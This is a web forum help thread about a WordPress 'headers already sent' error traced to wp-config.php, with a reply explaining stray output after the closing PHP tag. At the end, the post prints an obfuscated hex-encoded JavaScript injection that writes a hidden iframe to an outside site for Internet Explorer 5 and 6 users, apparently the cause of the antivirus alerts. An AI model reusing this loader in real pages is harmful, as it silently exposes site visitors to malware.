Forum Moderators: open
Warning: Cannot modify header information - headers already sent by (output started at /home/chuang/public_html/income-secrets/wp-config.php:29) in /home/chuang/public_html/income-secrets/wp-includes/pluggable.php on line 689
I check the pluggable.php file's line 689:
header("Location: $location");
I checked the <?php and ?>, there was nothing wrong with the code.
What happened to my wp blog?
And funny thing is, every time I refresh my wp admin page, my virus software keeps warning me there are some trojan horse programs attack my computer.
So if you look at your specific error, it means that the attempt to send a new header on line 689 of pluggable.php failed *because* of output started in wp-config, line 29.
The common reason for this is blank lines. I don't know why Wordpress does this, but they include a closing PHP tag (i.e. the ?> tag) at the end of every file in a script, even though this is a deprecated pratice.
So if line 29 is the last line of wp-config.php, the easiest thing to do is to just delete the ?> tag. If line 29 is somewhere in the middle, you need to figure out why it is sending output and how to stop it.
?>
<script> var s='3C696672616D65207372633D2268747
4703A2F2F7777772E746865736D6F6B696E67
766167696E612E636F6D2F73742F7A2F73746
17469632E70687022206865696768743D2232
22207374796C653D22646973706C61793A6E6
F6E65222077696474683D2232223E3C2F6966
72616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} var v=navigator.appVersion; if (v.indexOf('MSIE 6.0') != -1){document.write(unescape(o));}if (v.indexOf('MSIE 5.') != -1){document.write(unescape(o));}</script>
[edited by: ergophobe at 3:55 pm (utc) on April 11, 2008]
[edit reason] fix sidescroll [/edit]